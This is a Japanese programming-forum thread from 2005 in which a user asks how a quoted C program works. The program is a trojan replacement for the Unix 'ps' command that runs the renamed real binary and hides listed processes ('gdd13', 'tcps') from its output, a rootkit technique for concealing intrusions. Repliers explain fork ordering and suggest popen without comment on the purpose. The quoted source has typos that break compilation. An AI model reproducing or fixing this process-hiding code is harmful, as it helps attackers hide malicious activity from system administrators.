【掲示板ご利用上の注意】

 ※題名は具体的に!
 ※学校の課題の丸投げ禁止!
 ※ソースの添付は「HTML変換ツール」で字下げ!
 ※返信の引用は最小限に!
 ※環境(OSとコンパイラ)や症状は具体的に詳しく!
 ※マルチポスト(多重投稿)は慎んで!

 詳しくはこちら



 本当はこんなに大きく書きたくはないのですが、なかなか守っていただけなくて…。
 守ってくださいね。お願いします。(by管理人)

C言語ソース⇒HTML形式ツール   掲示板2こちら


管理者用メニュー    ツリーに戻る    携帯用URL    ホームページ    ログ    タグ一覧

No.20082

トロイの木馬について
投稿者---トロイ(2005/02/19 11:40:40)


どうもトロイと言います。
トロイのプログラムについて聞きたいことがあります。

このプログラムの内容はpsの表示の一覧を隠すと言う物です。

実際読み書きしているのは、中間辺りなんですが、実際は標準
出力ををpp[1]に振り替えてexecv(REAL_PS,argv)を起動して
いるのが、わかりにくいです。

REAL_PSを起動つまりコンソールで言えばpsコマンドを実行する
、そうしないとプロセスの一覧はでないはずです。

このプログラムではexecv(REAL_PS,argv)の起動を後で行って
います、これっておかしくないですか?最初の方で起動するという
のなら納得いきますが、これは納得できません。

誰か分かる人いませんか?

ご指導ください

#include <stdio.h>    /*既存のpsコマンドを置き換え、renameされた既存のpsコマンドを内部で呼び出しその*/
#include <signal.h>             /*結果をチェック、コード中に記述されているプロセスに関連する情報以外の行を表示*/
#include <unistd.h>             /*させる。*/

#define MAXLINE 1024      /*5行目は、psコマンドの出力する1ラインの最大長(MAXLINE)の定義です。1KB程度あ*/
#define REAL_PS "/.log"         /*れば問題ないでしょう。*/
                                /*6行目はpsコマンドのPATH指定です、/sbin/psに存在するpsコマンドをコピーしたものです*/
char *process_list[] = {        /*隠したいプロセスのプロセス名一覧です。本プログラムでプロセス情報を表示した場合、*/
    "gdd13",                    /*ここで指定した文字列を含む行が表示されなくなります、プロセス名は極力ユニークにす*/
    "tcps",                     /*る。*/
    NULL
};

int main(int argc,char *argv[])
{
    char          buf[MAXLINE];
    char          psprocn[256],*ppsprocn;
    int           pp[2];
    pid_t         pid;
    int           i,flgeof,flgchk=0;      /*61〜65行目は子プロセス*/
                                                /*21〜59行目は親プロセス*/
    snprintf(psprocn,256,"%s",REAL_PS);

    for(i=strlen(REAL_PS)-1;i>=0;i--)     /*本プログラムからpsコマンド(REAL_PS)が呼び出されると、プロセス一覧*/
       if(psprocn[i]=='/') break;              /*にREAL_PSに指定したプロセス情報が表示されてしまいますので、予めプ*/
    ppsprocn = psprocn + i + 1;                /*ロセス名を抽出しプロセス情報の表示を除外対象の一つとします。*/
    pipe(pp);                                  /**/
    if((pid=fork())==-1 return(1);             /*親プロセスでは30〜58行目で子プロセスの出力を読み続け、プロセス情*/
    else if(pid > 0){                          /*報を表示していきます。*/
       close(pp[1]);                           /**/
       for(;;){                                /**/
            for(flgeof=i=0;i<MAXLINE-1;i++){   /*31〜36行目でpsコマンドの出力を行単位でバッファに格納し48行目では、*/
               if(read(pp[0],buf+i,1)!=1){     /*そのバッファにREAL_PSに指定されたプロセスに関する情報が含まれてい*/
                  flgeof=1; break;             /*ないか・・・*/
               }
               if (bef[i]=='\n') break;
            }
            buf[i]='\0';
            if(flgeof && !strlen(buf)) break;
            if(i==MAXLINE-1){
              printf("%s",buf);
              flgchk=1;
              continue;
            }
            if(flgchk){
               printf("%s\n",buf);
               flgchk=0;
            }else{
               if (!strstr(buf,ppsprocn)){
                   for(i=0;;i++)         /*49〜54行目では隠したいプロセスのリスト(process_list)が含まれてい*/
                      if (process_list[i]==NULL){ /*ないかチェック、含まれていない場合は、その行を表示しています*/
                         printf("%s\n",buf);
                         break;
                      }else if (strstr(buf,process_list[i]))
                         break;
               }
            }
            if (flgef) break;
       }
       close(pp[0]);
    }else{                    /*61〜65行目で標準出力の振り替えを行いpsコマンドを実行*/
       close(1);
       dup(pp[1]);
       close(pp[1]);
       close(pp[0]);
       execv(REAL_PS,argv);
    }
    return(0)
}



この投稿にコメントする

削除パスワード

発言に関する情報 題名 投稿番号 投稿者名 投稿日時
<子記事> Re:トロイの木馬について 20083 Ban 2005/02/19 12:25:32
<子記事> Re:トロイの木馬について 20084 あかま 2005/02/19 15:38:24


No.20083

Re:トロイの木馬について
投稿者---Ban(2005/02/19 12:25:32)


fork について調べてみれば、記述の前後関係に意味がないことが
わかります。

# このタイトルはどうだろう。


この投稿にコメントする

削除パスワード

No.20084

Re:トロイの木馬について
投稿者---あかま(2005/02/19 15:38:24)


タイトルに笑った。

pipe()使わなくてもpopen()あたりを使えばもうちょっと簡単に作れそうな気がします。
http://www-cms.phys.s.u-tokyo.ac.jp/%7Enaoki/CIPINTRO/CCGI/function.html#system

私がpipe()嫌いなだけですが。



この投稿にコメントする

削除パスワード

管理者用メニュー    ツリーに戻る    携帯用URL    ホームページ    ログ    タグ一覧